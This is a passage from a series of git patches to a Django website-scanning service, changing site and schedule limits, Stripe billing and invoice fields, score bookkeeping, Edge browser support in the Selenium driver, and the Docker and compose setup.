                     _status = status.HTTP_409_CONFLICT
                     code = '409'
+                elif current_count >= account.max_sites and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
+                    allowed = False
+                    error = 'max sites reached'
+                    _status = status.HTTP_402_PAYMENT_REQUIRED
+                    code = '402'
+                elif current_count >= account.max_sites  and action == 'add' and (account.type == 'enterprise' or account.type == 'custom'):
+                    # add to max_sites only for enterprise
+                    account.max_sites += 1
+                    account.max_schedules += 1
+                    account.save()
+                    # update price for sub
+                    update_sub_price.delay(account.id)
         
         # checking schedules
         if resource == 'schedule':
             if not schedule_id:
                 current_count = Schedule.objects.filter(account=account).count()
-                if current_count >= account.max_schedules and action == 'add' and (account.type != 'custom' and account.type != 'enterprise'):
+                if current_count >= account.max_schedules and action == 'add':
                     allowed = False
                     error = 'max schedules reached'
                     _status = status.HTTP_402_PAYMENT_REQUIRED
                     code = '402'
-                if page_id:
+                elif page_id:
                     if not Page.objects.filter(id=page_id, account=account).exists():
                         allowed = False
                         error = 'page not found'
                         _status = status.HTTP_404_NOT_FOUND
                         code = '404'
-                if site_id:
+                elif site_id:
                     if not Site.objects.filter(id=site_id, account=account).exists():
                         allowed = False
                         error = 'site not found'
                         _status = status.HTTP_404_NOT_FOUND
                         code = '404'
+                
             if schedule_id:
                 if not Schedule.objects.filter(id=schedule_id, account=account).exists():
                     allowed = False
@@ -460,7 +467,10 @@ def create_site(request: object, delay: bool=False) -> object:
         return Response(data, status=status.HTTP_400_BAD_REQUEST)
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, resource='site', action='add')
+    check_data = check_account_and_resource(
+        request=request, resource='site', action='add',
+        site_url=site_url
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
         record_api_call(request, data, check_data['code'])
@@ -471,7 +481,8 @@ def create_site(request: object, delay: bool=False) -> object:
         site_url=site_url,
         user=user,
         tags=tags,
-        account=account
+        account=account,
+        time_crawl_started=datetime.now()
     )
 
     # create process obj
@@ -681,28 +692,35 @@ def get_site(request: object, id: str) -> object:
 
 
 
-def delete_site(request: object, id: str) -> object:
+def delete_site(request: object=None, id: str=None, account: object=None) -> object:
     """ 
     Deletes the `Site` associated with the passed "id" 
 
     Expcets: {
         'request' : object,
-        'id'      : str
+        'id'      : str,
+        'account' : object,
     }
 
     Returns -> HTTP Response object
     """
 
     # get user and account info
-    user = request.user
-    account = Member.objects.get(user=user).account
+    if request:
+        account = Member.objects.get(user=request.user).account
+        user = request.user
+    
+    if not request:
+        user = account.user
 
     # check account and resource
-    check_data = check_account_and_resource(request=request, site_id=id, resource='site')
+    check_data = check_account_and_resource(user=user, site_id=id, resource='site')
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, check_data['code'])
-        return Response(data, status=check_data['status'])
+        if request:
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
+        return data
     
     # get site if checks passed
     site = Site.objects.get(id=id)
@@ -723,11 +741,22 @@ def delete_site(request: object, id: str) -> object:
     # remove site
     site.delete()
 
+    # update account if enterprise or custom
+    if account.type == 'enterprise' or account.type == 'custom':
+        account.max_sites -= 1
+        account.max_schedules -= 1
+        account.save()
+
+        # update billing
+        update_sub_price.delay(account_id=account.id)
+
     # returning response
     data = {'message': 'site deleted',}
-    record_api_call(request, data, '200')
-    response = Response(data, status=status.HTTP_200_OK)
-    return response
+    if request:
+        record_api_call(request, data, '200')
+        response = Response(data, status=status.HTTP_200_OK)
+        return response
+    return data
 
 
 
@@ -782,6 +811,16 @@ def delete_many_sites(request: object) -> object:
                 failed.append(str(id))
                 this_status = False
 
+        
+        # update account if enterprise or custom
+        if account.type == 'enterprise' or account.type == 'custom':
+            account.max_sites -= num_succeeded
+            account.max_schedules -= num_succeeded
+            account.save()
+
+            # update billing
+            update_sub_price.delay(account_id=account.id)
+
         # format response
         data = {
             'success': this_status,

From b862e20770faa494b74c09412f0d13926f07e48f Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Mon, 12 Aug 2024 19:52:10 -0600
Subject: [PATCH 644/752] added issue deleter for bulk delete sites

---
 app/api/v1/ops/services.py | 12 ++++++------
 1 file changed, 6 insertions(+), 6 deletions(-)

diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 10f5c3ce..03dac9c3 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -732,11 +732,7 @@ def delete_site(request: object=None, id: str=None, account: object=None) -> obj
     delete_tasks(site=site)
 
     # remove any associated Issues
-    issues = Issue.objects.filter(
-        affected__icontains=id
-    )
-    for issue in issues:
-        issue.delete()
+    issues = Issue.objects.filter(affected__icontains=id).delete()
     
     # remove site
     site.delete()
@@ -799,12 +795,16 @@ def delete_many_sites(request: object) -> object:
             try:
                 site = Site.objects.get(id=id)
                 if site.account == account:
+
+                    # delete site and associated resources
                     delete_site_s3_bg.delay(site_id=id)
                     delete_tasks(site=site)
-                    site.delete()
+                    Issue.objects.filter(affected__icontains=id).delete()
+
                 # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
+
             except:
                 # add to failed attempts
                 num_failed += 1

From 5f668e2348deb435ea4902bfa7dda7d8b15e4f52 Mon Sep 17 00:00:00 2001
From: Landon <landon@greylabs.io>
Date: Tue, 13 Aug 2024 20:22:51 -0600
Subject: [PATCH 645/752] consolidating and adding ms edge

---
 Dockerfile                                    |  60 +++-----
 app/api/models.py                             |  23 +--
 app/api/utils/driver.py                       |  39 ++++-
 app/api/utils/scanner.py                      |  49 +-----
 app/api/utils/tester.py                       |  11 +-
 app/api/utils/yellowlab.py                    |  13 +-
 app/api/v1/billing/services.py                |  19 ++-
 app/api/v1/ops/services.py                    |  29 +++-
 app/scanerr/settings.py                       |   4 +-
 archive/Dockerfile                            |  81 ++++++++++
 Dockerfile.local => archive/Dockerfile.local  |  25 +++-
 archive/docker-compose.dev.yml                | 140 ++++++++++++++++++
 .../scripts => archive}/remote-entrypoint.sh  |   0
 .../requirements.txt                          |  50 +++----
 docker-compose.dev.yml                        |  27 ++--
 docker-compose.local.yml                      |  32 ++--
 docker-compose.prod.yml                       |  20 +--
 docker-compose.stage.yml                      |  31 +---
 env/.env.dev.example                          |   1 +
 env/.env.prod.example                         |   1 +
 env/.env.stage.example                        |   1 +
 notes/Deployment.md                           |  10 +-
 setup/requirements/requirements.txt           |  50 +++----
 setup/scripts/entrypoint.sh                   |  43 ++++++
 setup/scripts/local-entrypoint.sh             |  30 ----
 25 files changed, 492 insertions(+), 297 deletions(-)
 create mode 100644 archive/Dockerfile
 rename Dockerfile.local => archive/Dockerfile.local (74%)
 create mode 100644 archive/docker-compose.dev.yml
 rename {setup/scripts => archive}/remote-entrypoint.sh (100%)
 rename setup/requirements/requirements-staging.txt => archive/requirements.txt (50%)
 create mode 100755 setup/scripts/entrypoint.sh
 delete mode 100755 setup/scripts/local-entrypoint.sh

diff --git a/Dockerfile b/Dockerfile
index 6148fe0b..e83cf789 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -1,22 +1,7 @@
 # pull main python image
-FROM python:3.9-slim
+FROM python:3.12-slim
 ENV PYTHONUNBUFFERED 1
-
-# increasing allocated memory to node
-ENV NODE_OPTIONS=--max_old_space_size=20000
-ENV NODE_OPTIONS="--max-old-space-size=20000"
-ENV GENERATE_SOURCEMAP=false
-
-# telling Puppeteer to skip installing Chrome
-ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
-
-# telling phantomas where Chrome binary is and that we're in docker
-ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium
-ENV DOCKERIZED=yes
-
-# Set up the Chromium environment
-ENV XDG_CONFIG_HOME=/tmp/.chromium
-ENV XDG_CACHE_HOME=/tmp/.chromium
+ENV DEBIAN_FRONTEND noninteractive
 
 # create the app user
 RUN addgroup --system app && adduser --system app 
@@ -26,36 +11,33 @@ RUN apt-get update && apt-get install -y python3 python3-pip
 
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
-    libfontconfig firefox-esr
+    gfortran openssl libpq-dev curl libjpeg-dev \ 
+    libfontconfig firefox-esr apt-transport-https software-properties-common
 
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb
 
-# installing node and npm --> n lts
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n \
-    && n lts
-
-# cleaning npm
-RUN npm cache clean --force
+# installing microsoft-edge-stable
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable && \
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
 
-# installing lighthouse
-RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts && npm cache clean --force
 
-# setting --no-sandbox & --disable-dev-shm-usage
-RUN chromium --no-sandbox --version
-RUN chromium --disable-dev-shm-usage  --version
+# installing lighthouse & lighthouse-plugin-crux
+RUN npm install -g lighthouse lighthouse-plugin-crux
 
 # installing requirements
 COPY ./setup/requirements/requirements.txt /requirements.txt
 RUN python3 -m pip install -r /requirements.txt
 
-# removing chromium config
-RUN rm -rf ~/.config/chromium
-
 # setting working dir
 RUN mkdir /app
 COPY ./app /app
@@ -63,11 +45,11 @@ WORKDIR /app
 
 # setting ownership
 RUN chown -R app:app /app
-RUN chown -R app:app /usr/bin/chromium
-RUN chown -R app:app /usr/bin/chromedriver
-RUN chmod +x /usr/bin/chromedriver
+RUN chown -R app:app /usr/bin/firefox
+RUN chown -R app:app /usr/bin/google-chrome-stable
+RUN chown -R app:app /usr/bin/microsoft-edge-stable
 
 # staring up services
-COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh"
-ENTRYPOINT [ "/remote-entrypoint.sh" ]
+COPY ./setup/scripts/entrypoint.sh "/entrypoint.sh"
+ENTRYPOINT [ "/entrypoint.sh" ]
 
diff --git a/app/api/models.py b/app/api/models.py
index 236eaa23..a99a2f10 100644
--- a/app/api/models.py
+++ b/app/api/models.py
@@ -18,17 +18,18 @@ def get_info_default():
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
+                'score': None,
             },
             'latest_test': {
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
-                'score': None
+                'score': None,
+                'status': None
             },
             'lighthouse': {
                 'average': None,
                 'seo': None,
-                # 'pwa': None, 
                 'crux': None, 
                 'performance': None, 
                 'accessibility': None, 
@@ -46,12 +47,7 @@ def get_info_default():
                 'badCSS': None,
                 'fonts': None,
                 'serverConfig': None, 
-            },
-            'status': {
-                'health': None,
-                'badge': 'neutral',
-                'score': None,
-            },
+            }
         }
     return info_default
 
@@ -64,18 +60,15 @@ def get_small_info_default():
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
+                'score': None,
             },
             'latest_test': {
                 'id': None,
                 'time_created': None,
                 'time_completed': None,
-                'score': None
-            },
-            'status': {
-                'health': None,
-                'badge': 'neutral',
                 'score': None,
-            },
+                'status': None
+            }
         }
     return info_default
 
@@ -89,7 +82,6 @@ def get_lh_delta_default():
             "performance_delta": None, 
             "accessibility_delta": None, 
             "best-practices_delta": None,
-            # "pwa_delta": None, 
             "crux_delta": None,
             "average_delta" : None,
             "current_average": None, 
@@ -130,7 +122,6 @@ def get_lh_default():
             "performance": None, 
             "accessibility": None, 
             "best_practices": None,
-            # "pwa": None, 
             "crux": None, 
             "average": None
        },
diff --git a/app/api/utils/driver.py b/app/api/utils/driver.py
index 4823865f..505cd383 100644
--- a/app/api/utils/driver.py
+++ b/app/api/utils/driver.py
@@ -36,12 +36,13 @@ def driver_init(
     """
 
     # deciding on browser
+    # UserAgents: https://www.whatismybrowser.com/guides/the-latest-user-agent/
     if browser == 'chrome':
         options = webdriver.ChromeOptions()
         options.binary_location = os.environ.get('CHROME_BROWSER')
         mobile_user_agent = (
-            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36" + 
-            " (KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
+            "Mozilla/5.0 (Linux; Android 14) AppleWebKit/537.36 " + 
+            "(KHTML, like Gecko) Chrome/127.0.6533.84 Mobile Safari/537.36"
         )
     if browser == 'firefox':
         options = webdriver.FirefoxOptions()
@@ -49,6 +50,15 @@ def driver_init(
         mobile_user_agent = (
             "Mozilla/5.0 (Android 14; Mobile; rv:68.0) Gecko/68.0 Firefox/128.0"
         )
+    if browser == 'edge':
+        options = webdriver.EdgeOptions()
+        options.binary_location = os.environ.get('EDGE_BROWSER')
+        mobile_user_agent = (
+            "Mozilla/5.0 (Linux; Android 10; HD1913) AppleWebKit/537.36" +
+            "(KHTML, like Gecko) Chrome/127.0.6533.103 Mobile " +
+            "Safari/537.36 EdgA/127.0.2651.90"
+        )
+
 
     # setting up browser configs
     sizes = window_size.split(',')
@@ -82,7 +92,7 @@ def driver_init(
         # init driver
         driver = webdriver.Chrome(options=options)
     
-    # setting broswer options & profile for firefox
+    # setting broswer options for firefox
     if browser == 'firefox':
         options.add_argument("-headless")
         options.page_load_strategy = 'none'
@@ -97,6 +107,25 @@ def driver_init(
         
         # init driver
         driver = webdriver.Firefox(options=options)
+
+    # setting broswer options for edge
+    if browser == 'edge':
+        options.add_argument("--no-sandbox")
+        options.add_argument("disable-blink-features=AutomationControlled")
+        options.add_argument("--headless")
+        options.add_argument("--disable-dev-shm-usage")
+        options.add_argument("ignore-certificate-errors")
+        options.add_argument("--hide-scrollbars")
+        options.add_argument(f"--force-device-scale-factor={str(scale_factor)}")
+        options.set_capability("goog:loggingPrefs", {'performance': 'ALL'})
+        options.page_load_strategy = 'none'
+        
+        # setting to mobile if reqeusted
+        if device == 'mobile':
+            options.add_experimental_option("mobileEmulation", mobile_emulation)
+        
+        # init driver
+        driver = webdriver.Edge(options=options)
     
 
     # resizing window
@@ -267,8 +296,8 @@ def get_data(
     except Exception as e:
         print(e)
     
-    # get console logs if chrome
-    if browser == 'chrome':
+    # get console logs if notn firefox
+    if browser != 'firefox' :
         try:
             logs = driver.get_log('browser')
         except Exception as e:
diff --git a/app/api/utils/scanner.py b/app/api/utils/scanner.py
index dbbfbcab..45592aca 100644
--- a/app/api/utils/scanner.py
+++ b/app/api/utils/scanner.py
@@ -137,8 +137,6 @@ def update_site_info(scan: object) -> object:
     """
     
     # setting defaults
-    health = 'No Data'
-    badge = 'neutral'
     score = 0
     site = scan.site
     pages = Page.objects.filter(site=site)
@@ -155,32 +153,15 @@ def update_site_info(scan: object) -> object:
     
     # calc average score
     if len(scans) > 0:
-        score = sum(scans)/len(scans)  
-    if score != 0:
-        if score >= 75:
-            health = 'Good'
-            badge = 'success'
-        elif 75 > score >= 60:
-            health = 'Okay'
-            badge = 'warning'
-        elif 60 > score:
-            health = 'Poor'
-            badge = 'danger'
+        score = sum(scans)/len(scans)
     else:
-        if site.info['status']['score'] is not None:
-            score = float(site.info['status']['score'])
-            health = site.info['status']['health']
-            badge = site.info['status']['badge']
-        else:
-            score = None
-
+        score = None
+        
     # saving new info to site
     site.info['latest_scan']['id'] = str(scan.id)
     site.info['latest_scan']['time_created'] = str(scan.time_created)
     site.info['latest_scan']['time_completed'] = str(scan.time_completed)
-    site.info['status']['health'] = str(health)
-    site.info['status']['badge'] = str(badge)
-    site.info['status']['score'] = score
+    site.info['latest_scan']['score'] = score
     site.save()
 
     # returning site
@@ -201,8 +182,6 @@ def update_page_info(scan: object) -> object:
     """
     
     # setting defaults
-    health = 'No Data'
-    badge = 'neutral'
     d = 0
     score = 0
     page = scan.page
@@ -218,32 +197,16 @@ def update_page_info(scan: object) -> object:
     # calc average health score
     if score != 0:
         score = score / d
-        if score >= 75:
-            health = 'Good'
-            badge = 'success'
-        elif 75 > score >= 60:
-            health = 'Okay'
-            badge = 'warning'
-        elif 60 > score:
-            health = 'Poor'
-            badge = 'danger'
     else:
-        if scan.page.info['status']['score'] is not None:
-            score = float(page.info['status']['score'])
-            health = page.info['status']['health']
-            badge = page.info['status']['badge']
-        else:
-            score = None
+        score = None
 
     # saving new info to page
     page.info['latest_scan']['id'] = str(scan.id)
     page.info['latest_scan']['time_created'] = str(scan.time_created)
     page.info['latest_scan']['time_completed'] = str(scan.time_completed)
+    page.info['latest_scan']['score'] = score
     page.info['lighthouse'] = scan.lighthouse.get('scores')
     page.info['yellowlab'] = scan.yellowlab.get('scores')
-    page.info['status']['health'] = str(health)
-    page.info['status']['badge'] = str(badge)
-    page.info['status']['score'] = score
     page.save()
 
     # returning page
diff --git a/app/api/utils/tester.py b/app/api/utils/tester.py
index f40d7913..42e6b84c 100644
--- a/app/api/utils/tester.py
+++ b/app/api/utils/tester.py
@@ -637,13 +637,18 @@ def update_site_info(self, test: object) -> object:
         tests = []
         for page in pages:
             if Test.objects.filter(page=page).exists():
-                _test = Test.objects.filter(page=page).order_by('-time_completed')[0]
-                if _test.score is not None:
-                    tests.append(_test.score)
+                _test = Test.objects.filter(page=page).exclude(
+                    time_completed=None
+                ).order_by('-time_completed')
+                if len(_test) > 0:
+                    if _test[0].score is not None:
+                        tests.append(_test.score)
         
         if len(tests) > 0:
+            
             # calc site average of latest
             site_avg_test_score = round((sum(tests)/len(tests)) * 100) / 100
+            print(f'updating site with new test score -> {site_avg_test_score}')
             
             # update site info
             site.info['latest_test']['id'] = str(test.id)
diff --git a/app/api/utils/yellowlab.py b/app/api/utils/yellowlab.py
index 26ac2702..c6e11480 100644
--- a/app/api/utils/yellowlab.py
+++ b/app/api/utils/yellowlab.py
@@ -231,16 +231,9 @@ def get_data(self):
         while not scan_complete and attempts < 2:
 
             try:
-                # CLI on first attempt
-                if attempts < 1:
-                    raw_data = self.yellowlab_cli()
-                    self.process_data(stdout_json=raw_data)
-                
-                # API after first attempt
-                if attempts >= 1:
-                    raw_data = self.yellowlab_api()
-                    self.process_data(stdout_json=raw_data)
-
+                # API method only
+                raw_data = self.yellowlab_api()
+                self.process_data(stdout_json=raw_data)
                 scan_complete = True
                 failed = False
 
diff --git a/app/api/v1/billing/services.py b/app/api/v1/billing/services.py
index c2690f60..641a0173 100644
--- a/app/api/v1/billing/services.py
+++ b/app/api/v1/billing/services.py
@@ -70,7 +70,7 @@ def stripe_setup(request: object) -> object:
     client_secret = None
 
     # build Stripe Product name
-    product_name = f'{user.email}_{user.id}_{name}'
+    product_name = f'{name.capitalize()}'
 
     # create new `Account` if none exists
     if not Account.objects.filter(user=user).exists():
@@ -330,7 +330,7 @@ def get_stripe_hosted_url(request: object=None) -> object:
     if account.cust_id is None:
 
         # build product
-        product_name = f'{user.email}_{user.id}_enterprise'
+        product_name = f'Enterprise'
         product = stripe.Product.create(name=product_name)
 
         # calc price_amount
@@ -685,11 +685,24 @@ def get_stripe_invoices(request: object) -> object:
         
         # build list of Stripe Invice objects
         for invoice in invoice_body.data:
+
+            # clean product name
+            product_name = invoice['lines']['data'][0]['description']
+            product_name = product_name.split('1 × ')[1].split(' (')[0]
+
             i_list.append({
                 'id': invoice.id,
                 'status': invoice.status,
                 'price_amount': invoice.amount_paid,
-                'created': invoice.created
+                'created': invoice.created,
+                'due_date': invoice.due_date,
+                'customer_email': invoice.customer_email,
+                'customer_name': invoice.customer_name,
+                'product_name': product_name,
+                'invoice_pdf': invoice.invoice_pdf,
+                'number': invoice.number,
+                'period_start': invoice.period_start,
+                'period_end': invoice.period_end
             })
         
         # format response
diff --git a/app/api/v1/ops/services.py b/app/api/v1/ops/services.py
index 03dac9c3..269a28e9 100644
--- a/app/api/v1/ops/services.py
+++ b/app/api/v1/ops/services.py
@@ -1541,10 +1541,20 @@ def create_scan(request: object=None, delay: bool=False, **kwargs) -> object:
         created_scans.append(str(created_scan.id))
         message = 'Scans are being created in the background'
 
-        # add scan_id to page.info.latest_scan.id
+        # updating latest_scan info for page
         p.info['latest_scan']['id'] = str(created_scan.id)
+        p.info['latest_scan']['time_created'] = str(timezone.now())
+        p.info['latest_scan']['time_completed'] = None
+        p.info['status']['score'] = None
+        p.info['status']['score'] = None
         p.save()
 
+        # updating latest_scan info for site
+        p.site.info['latest_scan']['id'] = str(created_scan.id)
+        p.site.info['latest_scan']['time_created'] = str(timezone.now())
+        p.site.info['latest_scan']['time_completed'] = None
+        p.site.save()
+
         # running scans components in parallel 
         if 'html' in types or 'logs' in types or 'full' in types:
             run_html_and_logs_bg.delay(scan_id=created_scan.id)
@@ -2193,6 +2203,22 @@ def create_test(request: object=None, delay: bool=False, **kwargs) -> object:
             status='working',
         )
 
+        # updating latest_test info for page
+        p.info['latest_test']['id'] = str(test.id)
+        p.info['latest_test']['time_created'] = str(timezone.now())
+        p.info['latest_test']['time_completed'] = None
+        p.info['latest_test']['score'] = None
+        p.info['latest_test']['status'] = 'working'
+        p.save()
+
+        # updating latest_test info for site
+        p.site.info['latest_test']['id'] = str(test.id)
+        p.site.info['latest_test']['time_created'] = str(timezone.now())
+        p.site.info['latest_test']['time_completed'] = None
+        p.site.info['latest_test']['score'] = None
+        p.site.info['latest_test']['status'] = 'working'
+        p.site.save()
+
         # add test.id to list
         created_tests.append(str(test.id))
 
@@ -5068,6 +5094,7 @@ def search_resources(request: object) -> object:
                 'name': <str>,
                 'type': <str>,
                 'path': <str>,
+                'id'  : <str>,
             }
             ...
         ]
diff --git a/app/scanerr/settings.py b/app/scanerr/settings.py
index b64bec0d..ae8f36da 100644
--- a/app/scanerr/settings.py
+++ b/app/scanerr/settings.py
@@ -176,11 +176,11 @@
 
 
 # Redis and Celery Config
-# CELERY_BROKER_URL = "redis://redis:6379"
+CELERY_BROKER_URL = "redis://redis:6379"
 
 
 # RabbitMQ and Celery Config
-CELERY_BROKER_URL = "amqp://rabbitmq"
+# CELERY_BROKER_URL = "amqp://rabbitmq"
 
 
 # Default primary key field type
diff --git a/archive/Dockerfile b/archive/Dockerfile
new file mode 100644
index 00000000..cf1102d9
--- /dev/null
+++ b/archive/Dockerfile
@@ -0,0 +1,81 @@
+# pull main python image
+FROM python:3.9-slim
+ENV PYTHONUNBUFFERED 1
+
+# increasing allocated memory to node
+ENV NODE_OPTIONS=--max_old_space_size=20000
+ENV NODE_OPTIONS="--max-old-space-size=20000"
+ENV GENERATE_SOURCEMAP=false
+
+# telling Puppeteer to skip installing Chrome
+ENV PUPPETEER_SKIP_CHROMIUM_DOWNLOAD=true 
+
+# telling phantomas where Chrome binary is and that we're in docker
+ENV PHANTOMAS_CHROMIUM_EXECUTABLE=/usr/bin/chromium
+ENV DOCKERIZED=yes
+
+# Set up the Chromium environment
+ENV XDG_CONFIG_HOME=/tmp/.chromium
+ENV XDG_CACHE_HOME=/tmp/.chromium
+
+# create the app user
+RUN addgroup --system app && adduser --system app 
+
+# installing python3 & pip
+RUN apt-get update && apt-get install -y python3 python3-pip
+
+# installing system deps
+RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
+    gfortran openssl libpq-dev curl libjpeg-dev chromium chromium-driver \ 
+    libfontconfig firefox-esr apt-transport-https software-properties-common
+
+# installing google-chrome-stable
+RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
+RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
+RUN rm google-chrome-stable_current_amd64.deb
+
+# Download and install Microsoft Edge
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable && \
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
+
+# installing node and npm --> n lts
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n \
+    && n lts
+
+# cleaning npm
+RUN npm cache clean --force
+
+# installing lighthouse
+RUN npm install -g lighthouse lighthouse-plugin-crux lodash yellowlabtools
+
+# setting --no-sandbox & --disable-dev-shm-usage
+RUN chromium --no-sandbox --version
+RUN chromium --disable-dev-shm-usage  --version
+
+# installing requirements
+COPY ./setup/requirements/requirements.txt /requirements.txt
+RUN python3 -m pip install -r /requirements.txt
+
+# removing chromium config
+RUN rm -rf ~/.config/chromium
+
+# setting working dir
+RUN mkdir /app
+COPY ./app /app
+WORKDIR /app
+
+# setting ownership
+RUN chown -R app:app /app
+RUN chown -R app:app /usr/bin/chromium
+RUN chown -R app:app /usr/bin/chromedriver
+RUN chmod +x /usr/bin/chromedriver
+
+# staring up services
+COPY ./setup/scripts/remote-entrypoint.sh "/remote-entrypoint.sh"
+ENTRYPOINT [ "/remote-entrypoint.sh" ]
+
diff --git a/Dockerfile.local b/archive/Dockerfile.local
similarity index 74%
rename from Dockerfile.local
rename to archive/Dockerfile.local
index a088467e..5ac483bf 100644
--- a/Dockerfile.local
+++ b/archive/Dockerfile.local
@@ -23,20 +23,27 @@ RUN apt-get update && apt-get install -y python3.10 python3-pip
 
 # installing system deps
 RUN apt-get update && apt-get install -y postgresql postgresql-client gcc \
-    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox
-    
-# extra packages
-RUN apt-get install -y libglib2.0-0 libsm6 libxrender1 libxext6 libgl1
-
-# installing node and npm
-RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
-    && npm install -g n && n lts
+    gfortran openssl libpq-dev curl libjpeg-dev libfontconfig firefox \ 
+    apt-transport-https software-properties-common libglib2.0-0 libsm6 \ 
+    libxrender1 libxext6 libgl1
 
 # installing google-chrome-stable
 RUN curl -LO https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb
 RUN apt-get install -y ./google-chrome-stable_current_amd64.deb
 RUN rm google-chrome-stable_current_amd64.deb
 
+# install microsoft-edge-stable
+RUN curl https://packages.microsoft.com/keys/microsoft.asc | gpg --dearmor > microsoft.gpg && \
+    install -o root -g root -m 644 microsoft.gpg /etc/apt/trusted.gpg.d/ && \
+    sh -c 'echo "deb [arch=amd64] https://packages.microsoft.com/repos/edge stable main" > \
+    /etc/apt/sources.list.d/microsoft-edge.list' && \
+    apt-get update && apt-get install -y microsoft-edge-stable && \
+    apt-get clean && rm -rf /var/lib/apt/lists/* /tmp/* /var/tmp/* microsoft.gpg
+
+# installing node and npm
+RUN apt-get update && apt-get install nodejs npm -y --no-install-recommends \
+    && npm install -g n && n lts
+
 # begin npm portion
 RUN npm cache clean --force
 
@@ -59,6 +66,8 @@ WORKDIR /app
 # setting ownership
 RUN chown -R app:app /app
 RUN chown -R app:app /usr/bin/google-chrome-stable
+RUN chown -R app:app /usr/bin/firefox
+RUN chown -R app:app /usr/bin/microsoft-edge-stable
 
 # staring up services
 COPY ./setup/scripts/local-entrypoint.sh "/local-entrypoint.sh"
diff --git a/archive/docker-compose.dev.yml b/archive/docker-compose.dev.yml
new file mode 100644
index 00000000..51c7796d
--- /dev/null
+++ b/archive/docker-compose.dev.yml
@@ -0,0 +1,140 @@
+services:
+
+
+  app:
+    container_name: scanerr-app
+    hostname: scanerr-app
+    restart: always
+    privileged: true
+    init: true
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "app"]
+    expose:
+      - 8000
+    env_file:
+      - ./env/.env.dev
+    volumes:
+      - ./app:/app
+      - static_volume:/app/static
+    depends_on:
+      - db
+
+  
+  db:
+    container_name: scanerr-db
+    hostname: scanerr-db
+    image: postgres:14-alpine
+    ports:
+      - "5432"
+    env_file:
+      - ./env/.env.dev
+    volumes: 
+      - pgdata:/var/lib/postgresql/data
+
+
+  redis:
+    container_name: scanerr-redis
+    hostname: scanerr-redis
+    image: redis:alpine
+    ports:
+      - "6379"
+
+
+  celery:
+    container_name: scanerr-celery
+    hostname: scanerr-celery
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "celery"]
+    env_file:
+      - ./env/.env.dev
+    volumes:
+      - ./app:/scanerr
+    depends_on:
+      - redis
+      - app
+      - db
+
+
+  beat:
+    container_name: scanerr-beat
+    hostname: scanerr-beat
+    privileged: true
+    restart: always
+    build:
+      context: .
+      dockerfile: Dockerfile
+    entrypoint: ["/remote-entrypoint.sh", "beat"]
+    volumes:
+      - ./app:/scanerr
+    env_file:
+      - ./env/.env.dev
+    depends_on:
+      - redis
+      - celery
+      - app
+      - db
+
+
+  yellowlab:
+    container_name: yellowlab
+    hostname: yellowlab
+    privileged: true
+    restart: always
+    image: scanerr/ylt
+    ports:
+      - 8383:8383
+    depends_on:
+      - redis
+      - celery 
+      - app
+      - db
+
+
+  nginx-proxy:
+    container_name: nginx-proxy
+    hostname: nginx-proxy
+    build: nginx
+    restart: always
+    ports:
+      - 443:443
+      - 80:80
+    volumes:
+      - static_volume:/app/static
+      - certs:/etc/nginx/certs
+      - html:/usr/share/nginx/html
+      - vhost:/etc/nginx/vhost.d
+      - /var/run/docker.sock:/tmp/docker.sock:ro
+    depends_on:
+      - app
+  
+  
+  nginx-proxy-letsencrypt:
+    container_name: nginx-proxy-letsencrypt
